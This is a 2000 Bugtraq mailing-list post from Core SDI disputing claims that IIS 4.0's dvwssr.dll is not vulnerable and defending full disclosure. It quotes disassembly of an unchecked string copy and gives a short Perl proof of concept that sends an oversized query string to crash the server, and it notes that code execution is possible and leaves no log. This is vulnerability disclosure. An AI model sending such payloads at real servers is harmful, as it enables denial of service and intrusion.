[14526] in bugtraq
DVWSSR.dll Buffer Overflow Vulnerability in Microsoft IIS 4.0 Web
daemon@ATHENA.MIT.EDU (Gerardo Richarte)
Fri Apr 14 21:04:37 2000
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <38F7AD47.64293EFF@core-sdi.com>
Date: Fri, 14 Apr 2000 20:40:48 -0300
Reply-To: Gerardo Richarte <core.lists.bugtraq@CORE-SDI.COM>
From: Gerardo Richarte <core.lists.bugtraq@CORE-SDI.COM>
X-To: BUGTRAQ@SECURITYFOCUS.COM
To: BUGTRAQ@SECURITYFOCUS.COM
Russ wrote (in ntbugtraq):
> Ok, here's a breaking update.
>
> Latest reports say that there is
>
> NO VULNERABILITY IN DVWSSR.DLL
>
> Yup, that's right, different again from what I said earlier, and even more
> different than what I said yesterday to WSJ.
That is not correct.
We have been playing with dvwssr.dll and we've found a buffer overflow that stops the server from incoming connections, at least.
The code where the buffer overflow resides is:
mov eax, [edi+TEXTENSION_CONTROL_BLOCK.lpszQueryString]
test eax, eax
jz _text_581813FD
push eax
lea eax, [esp+14h+queryStringCoph]
push eax
call ds:lstrcpyA ;see here MS ENGINEERS: BUFFER OVERFLOW
test eax, eax
jz _text_581813FD
lea eax, [esp+10h+queryStringCoph]
push eax
call unescape_url
So, below is an example of how to exploit this vulnerability:
Of course, having the source code makes it harder to find
this types of bugs...
#!/usr/bin/perl
print "GET /_vti_bin/_vti_aut/dvwssr.dll?";
print "a" x 5000;
print " HTTP/1.1\nHost: yourhost\n\n";
We've been playing a little more trying to exploit this buffer overflow, and as we don't
have InterDevs installed on our IIS, we copied the .dll to /msadc directory, and with
this configuration, we have been able to make the code jump to our buffer.
Under this circunstances, the actual BO allow to execute arbitrary code in the target machine.
It's interesting to note that no log is generated as efect of this attack.
> MS have had people working on this thing like madmen, trying to verify the
> claims and investigate all of the possible pieces of code that may be
> affected. As that research progressed, different observations were made and
> so the story came out in various stages (with varying levels of
> "correctness"). Had they been given a reasonable amount of time to respond,
> nobody would have been in a tizzy about anything (i.e. the press would not
> have cared to run this story anywhere).
>
> Decide for yourself whether we were better served by (more) immediate
> disclosure or not. I've stood where I stand for a reason, despite the
> loathing of others for my stance...
well, aparently full disclosure does serve a purpose, we only started looking at
the DLL AFTER the post to ntbugtraq, if that didnt happend we wouldnt direct
our attention to that particular DLL.
In your own word "decide for yourself whether...."
richie & beto for Core SDI
--
A390 1BBA 2C58 D679 5A71 - 86F9 404F 4B53 3944 C2D0
Investigacion y Desarrollo - CoreLabs - Core SDI
http://www.core-sdi.com
--- For a personal reply use gera@core-sdi.com
